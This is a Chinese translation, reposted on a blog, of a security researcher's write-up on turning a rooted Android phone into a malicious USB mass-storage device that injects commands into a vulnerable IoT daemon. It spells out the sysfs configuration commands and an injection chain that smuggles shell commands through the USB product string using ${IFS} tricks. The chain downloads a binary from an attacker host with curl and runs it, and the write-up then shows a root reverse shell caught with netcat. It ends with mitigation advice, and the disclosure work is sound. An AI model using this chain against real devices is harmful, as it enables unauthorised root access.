利用USB外设实现命令注入

2019-09-08 约 849 字 预计阅读 4 分钟

声明:本文 【利用USB外设实现命令注入】 由作者 mss**** 于 2019-09-08 10:06:42 首发 先知社区 曾经 浏览数 190 次

感谢 mss**** 的辛苦付出!

原文地址:https://carvesystems.com/news/command-injection-with-usb-peripherals/

受到Project Zero发表的一篇USB安全报告的启发,我开始仔细思考如何将USB用作物联网设备的攻击面。在许多的物联网设备中,是允许用户插入USB设备并通过它自动执行某些操作的,并且,这些自动功能也许过于信任USB设备了。随着时间的推移,这份报告在我的脑海中的印象渐渐消退,直到一个带有USB端口的物联网设备出现在我的门口——显眼的USB端口重新激起了我的兴趣。可悲的是,该报告中提到的 Raspberry Pi Zero的到货时间仍然遥遥无期,好在我听一位同事提过Android也支持ConfigFS,于是,我决定另起炉灶。

我发现,带有安全问题的物联网设备会自动安装插入该设备的USB大容量存储设备,如果设置了某些属性的话,该设备还会使用这些属性——未经相应的安全检查——来创建安装目录名称。此外,这里的安装过程还是通过C语言中臭名昭着的“system”函数实现的:恶意USB设备能够以这样的方式设置某些参数以实现任意命令执行。由于相关的守护进程是以root身份运行的,这意味着,攻击者可以插入USB设备,等待几秒钟,然后就可以在设备上以root身份执行命令了。这不禁让人们想起相关间谍电影中的画面——其中主人公将一些设备插入高度复杂的门锁中,然后,LED屏幕上会闪烁一堆数字,之后,门就神奇地打开了。现实中,真的可以做到吗?我想是的。

但是问题在于,如何才能把安卓设备变成一个自定义的USB外设呢?我在网络上面搜索了一大圈,但是没有找到相应的解决方案。而本文的目的,就是解决这个短板,为此,我们需要使用一个已经取得root权限的Nexus 5X设备,并运行最新版本的Android系统,即8.1版本。当然,当前尚不确定本文介绍的方法是否适用于Android 9。

将Android用作大容量存储器

就这里来说,需要将Android设备用作USB大容量存储设备,并带有以下属性:产品名称字符串、产品型号字符串和磁盘标签。当然,我们还可以自定义更多的属性,但这并非本文关注的内容。接下来,我们将从那些看起来似乎没有用的东西开始着手:首先,我对ConfigFS非常熟悉,并且发现了/config/usb_gadget方法,所以,我们可以利用这个ConfigFS方法来创建一个快捷式的大容量USB存储设备。为此,我创建了一个脚本,来帮助我们完成这些工作,运行结果如下所示:

mkdir: '/config/usb_gadget/g1/functions/mass_storage.0': Function not implemented

我不清楚为什么这条路走不通,但是有一点很明显,那就是这个方法是不受支持的。为了搞清楚怎么回事,我专门研究了Android和Linux的内核源代码,当然,我们不打算通读所有源码,相反,我只想知道如何在这个设备上使用/bin/touch/tmp/haxxed并将其声明为1337。所以,我把注意力转向Android中init 进程的内核空间,看看Android开发者为改变USB功能做了哪些工作。

通过考察Android的init文件,我们发现USB有两个不同的.rc文件:init.usb.configfs.rcinit.usb.rc。眼尖的读者可能已经发现了,它们都会检查属性sys.usb.configfs:如果其值为1,则会使用init.usb.configfs.rc文件中相关条目,否则将使用init.usb.rc文件中的相关条目。对我的实验环境来说,sys.usb.configfs的值为0,并且我确认系统在/sys/class/android_usb目录中修改了一些内容,所以,我将焦点移到了那里。当然,我没有考察sys.usb.configfs设置为1时会发生什么情况,所以,我无法确定这是唯一的方法,但可以肯定的是,至少这种方法对于我来说是有效的。

探索未知世界

既然已经将焦点转移到了/sys/class/android_usb/android0目录,那么不妨看看其中包含了哪些内容:

bullhead:/sys/class/android_usb/android0 # ls
bDeviceClass           f_acm          f_ffs          f_rmnet     iManufacturer           power
bDeviceProtocol        f_audio        f_gps          f_rmnet_smd iProduct                remote_wakeup
bDeviceSubClass        f_audio_source f_mass_storage f_rndis     iSerial                 state
bcdDevice              f_ccid         f_midi         f_rndis_qc  idProduct               subsystem
down_pm_qos_sample_sec f_charging     f_mtp          f_serial    idVendor                uevent
down_pm_qos_threshold  f_diag         f_ncm          f_uasp      idle_pc_rpm_no_int_secs up_pm_qos_sample_sec
enable                 f_ecm          f_ptp          f_usb_mbim  pm_qos                  up_pm_qos_threshold
f_accessory            f_ecm_qc       f_qdss         functions   pm_qos_state

其中,idVendoridProductiProductiManufacturerf_mass_storage看起来有点面熟。如果您熟悉ConfigFS的话,就会发现f_mass_storage的内容与mass_storage`函数的内容非常相似:

bullhead:/sys/class/android_usb/android0 # ls f_mass_storage
device inquiry_string lun luns power subsystem uevent
bullhead:/sys/class/android_usb/android0 # ls f_mass_storage/lun
file nofua power ro uevent

老实说,这到底是咋回事,我也不太清楚。不过,我们的目标要明确一下——通过创建恶意USB设备来发动攻击,而不是了解Linux内核的内部工作原理以及Android如何将自己设置为USB外围设备。幸运的是,源代码和设备本身为我们提供了许多提示,这些都能帮助我们弄清楚如何使用这个目录。

init.usb.rc中,经常会遇到如下所示的代码:

write /sys/class/android_usb/android0/enable 0
            ....
write /sys/class/android_usb/android0/functions ${sys.usb.config}
write /sys/class/android_usb/android0/enable 1

那么,当插入一个开发设备,并使用ADB时,会运行哪些函数呢?

bullhead:/sys/class/android_usb/android0 # cat functions
ffs

我碰巧知道设备上的ADB是使用FunctionFS实现的,而ffs看起来像是FunctionFS的简写,所以,这里很可能启用的就是它。接下来,我们可以改变那个值,例如把它设置为mass_storage,然后看看会发生什么。

bullhead:/sys/class/android_usb/android0 # echo 0 > enable

可以看到,ADB会话被关闭了。是的,杀死USB的同时,USB连接自然也会关闭。好吧,至少我知道它是起作用的! 幸运的是,ADB非常适合在TCP/IP上工作,所以,我可以重启它:

adb tcpip 5555
adb connect 192.168.1.18:5555

我郑重声明,我绝不会用你们当地咖啡店的WiFi来做这件事。好了,现在我们连接好了,接下来,我们可以关闭USB并切换到大容量存储器模式,看看会发生什么情况。

bullhead:/sys/class/android_usb/android0 # echo 0 > enable
bullhead:/sys/class/android_usb/android0 # echo mass_storage > functions
bullhead:/sys/class/android_usb/android0 # echo 1 > enable

太棒了,既没有报错,也没有发生崩溃,一切如常。如果您熟悉ConfigFS,您就明白这里也可以修改f_mass_storage/lun/file,让大容量存储设备成为后端设备。接下来,我们介绍如何创建一个让USB大容量存储设备变为后端存储器的镜像文件。

创建镜像文件

在制作镜像时需要牢记的一件事情是,我们需要设法控制磁盘标签的值(如blkid所示)。为此,我们可以创建一个文件,然后使用它即可,而无需任何其他的奇技淫巧。请注意,写入USB磁盘中的内容并不重要,这里只是希望目标设备将其识别为大容量存储设备,进而安装该设备。下面,开始创建我们的后端镜像文件:

dd if=/dev/zero of=backing.img count=50 bs=1M

这将创建一个名为backing.img、大小为50MB的文件,该文件的内容都是0值。实际上,这里的内容并不重要,因为下面我们会用fdisk命令对其进行格式化。对于老练的Linux黑客来说,完全可以通过编写相应的脚本来完成这些工作:

echo -e -n 'o\nn\n\n\n\n\nt\nc\nw\n' | fdisk backing.img

That magic is filling out the fdisk entries for you. It looks like this:

Welcome to fdisk (util-linux 2.31.1).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.

Device does not contain a recognized partition table.
Created a new DOS disklabel with disk identifier 0xd643eccd.

Command (m for help): Created a new DOS disklabel with disk identifier 0x50270950.

Command (m for help): Partition type
   p   primary (0 primary, 0 extended, 4 free)
   e   extended (container for logical partitions)
Select (default p):
Using default response p.
Partition number (1-4, default 1): First sector (2048-20479, default 2048): Last sector, +sectors or +size{K,M,G,T,P} (2048-20479, default 20479):
Created a new partition 1 of type 'Linux' and of size 9 MiB.

Command (m for help): Selected partition 1
Hex code (type L to list all codes): Changed type of partition 'Linux' to 'W95 FAT32 (LBA)'.

Command (m for help): The partition table has been altered.
Syncing disks.

我们将创建一个带有DOS分区表和单个FAT32分区的镜像,其他内容都是默认的设置。接下来,我们要完成格式化处理,并设置标签:

# losetup --offset 1048576 -f backing.img /dev/loop0
# mkdosfs -n "HAX" /dev/loop0
# losetup -d /dev/loop0

其中,“1048576”是“2048 * 512”之积。在这里,我们只是将上面创建的镜像附加为/dev/loop0设备,并运行一个简单的mkdosfs命令,其中-n "HAX"对本例来说非常重要,因为它使得我们可以控制标签。好了,我们需要做的,就这么些了——很简单吧!

综合起来

借助上面创建的镜像,我们就可以创建完整的USB设备了:

$ adb tcpip 5555
$ adb connect 192.168.1.18:5555
$ adb push backing.img /dev/local/tmp/
$ adb shell

adb shell中:

$ su
# echo 0 > /sys/class/android_usb/android0/enable
# echo '/data/local/tmp/backing.img' > /sys/class/android_usb/android0/f_mass_storage/lun/file
# echo 'mass_storage' > /sys/class/android_usb/android0/functions
# echo 1 > /sys/class/android_usb/android0/enable

如果一切顺利,则:

# lsusb -v -d 18d1:

Bus 003 Device 036: ID 18d1:4ee7 Google Inc.
Device Descriptor:
  bLength                18
  bDescriptorType         1
  bcdUSB               2.00
  bDeviceClass            0 (Defined at Interface level)
  bDeviceSubClass         0
  bDeviceProtocol         0
  bMaxPacketSize0        64
  idVendor           0x18d1 Google Inc.
  idProduct          0x4ee7
  bcdDevice            3.10
  iManufacturer           1 LGE
  iProduct                2 Nexus 5X
  iSerial                 3 0000000000000000
  bNumConfigurations      1
  Configuration Descriptor:
    bLength                 9
    bDescriptorType         2
    wTotalLength           32
    bNumInterfaces          1
    bConfigurationValue     1
    iConfiguration          0
    bmAttributes         0x80
      (Bus Powered)
    MaxPower              500mA
    Interface Descriptor:
      bLength                 9
      bDescriptorType         4
      bInterfaceNumber        0
      bAlternateSetting       0
      bNumEndpoints           2
      bInterfaceClass         8 Mass Storage
      bInterfaceSubClass      6 SCSI
      bInterfaceProtocol     80 Bulk-Only
      iInterface              5 Mass Storage
      Endpoint Descriptor:
        bLength                 7
        bDescriptorType         5
        bEndpointAddress     0x81  EP 1 IN
        bmAttributes            2
          Transfer Type            Bulk
          Synch Type               None
          Usage Type               Data
        wMaxPacketSize     0x0200  1x 512 bytes
        bInterval               0
      Endpoint Descriptor:
        bLength                 7
        bDescriptorType         5
        bEndpointAddress     0x01  EP 1 OUT
        bmAttributes            2
          Transfer Type            Bulk
          Synch Type               None
          Usage Type               Data
        wMaxPacketSize     0x0200  1x 512 bytes
        bInterval               1
Device Qualifier (for other device speed):
  bLength                10
  bDescriptorType         6
  bcdUSB               2.00
  bDeviceClass            0 (Defined at Interface level)
  bDeviceSubClass         0
  bDeviceProtocol         0
  bMaxPacketSize0        64
  bNumConfigurations      1
Device Status:     0x0000
  (Bus Powered)

这样,我们就可以看到该设备了:

$ ls -lh /dev/disk/by-id
lrwxrwxrwx 1 root root  9 Aug  2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0:0 -> ../../sdb
lrwxrwxrwx 1 root root 10 Aug  2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0:0-part1 -> ../../sdb1

接下来,我们就能够安装该设备了:

$ mkdir HAX && sudo mount /dev/sdb1 HAX

完成安装后,我们就可以考虑改变参数了:

# echo 0 > /sys/class/android_usb/android0/enable
# echo 1337 > /sys/class/android_usb/android0/idProduct
# echo 'Carve Systems' > /sys/class/android_usb/android0/iManufacturer
# echo '1337 Hacking Team' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
$ lsusb -v -d 18d1:

Bus 003 Device 044: ID 18d1:1337 Google Inc.
Device Descriptor:
            ....
  idProduct          0x1337
            ....
  iManufacturer           1 Carve Systems
  iProduct                2 1337 Hacking USB
            ....

哇,这样就可以轻松制作恶意USB设备了。

小试牛刀

为了帮助读者充分认识到该漏洞的严重性,下面给出一个POC示例代码:

snprintf(dir, DIR_SIZE, "/mnt/storage/%s%s%s", LABEL, iManufacturer, iProduct);
snprintf(cmd, CMD_SIZE, "mount %s %s", /dev/DEVICE, dir);
system(cmd);

上面的代码将完成下列操作:

1.利用易受攻击的守护进程的cwd下载一个shell脚本,用以生成一个反向shell
2.用sh执行该文件

一个棘手的问题是,系统会从这些变量中删除空格和/,但幸运的是,system会将其传递给一个理解$IFS和子shell的shell。对于Android设备来说,这个漏洞的利用方法也很简单,具体的命令可以按如下方式进行构建:

echo 0 > enable
echo ';{cmd};' > iProduct
echo 1 > enable

完整的命令链如下所示(这里删除了一些必要的sleep命令):

# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}b=`printf$IFS'"'"'\\x2f'"'"'`>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable

# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}s=\"$IFS\">>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable

# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}u=http:\$b\${b}192.168.1.152:8000\${b}shell>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable

# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}curl\$s-s\$s-o\${s}shell\$s\$u>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable

# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}chmod\$s+x\${s}shell>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable

# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}\${b}shell>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable

# echo 0 > /sys/class/android_usb/android0/enable
# echo ';sh${IFS}a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable

可以把这些命令可以放到一个文件(/a)中:

b=/
s=" "
u=http:$b${b}192.168.1.152:8000${b}shell
curl$s-s$s-o${s}shell$s$u
chmod$s+x${s}shell
${b}shell

最后一个命令是用sh a执行这个文件。这个脚本将会拉取一个本人编写的二进制文件来获取反向shell。此后,您可以向反向shell发送自己喜欢的payload。在执行完最后一个命令后,我们将会看到熟悉的一幕:

$ nc -l -p 3567
id
uid=0(root) gid=0(root) groups=0(root)

搞定。

安全建议

虽然使用Raspberry Pi Zero可能会更容易一些,但通过已经取得root权限的Android设备也可以轻松实现本文的目的。对于该漏洞,我们的安全建议是:不要信任任何外部输入,即使是来自物理设备的输入,也不值得信赖。对于黑名单方法来说,有时也会存在容易绕过的漏洞。当然,还是有许多方法可以避免这个问题的,但无论对于哪种缓解措施,最重要的就是不要信任从外部设备中读取的属性。如果需要唯一名称,请生成相应的UUID。如果您需要一个独一无二的名称,并且要求对于给定设备来说是不变的,请验证所需的参数是否存在,然后使用SHA256或您喜欢的哈希算法计算它们的哈希值。此外,C函数system也应该谨慎使用:实际上,直接使用C代码安装驱动器也不是什么难事。

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now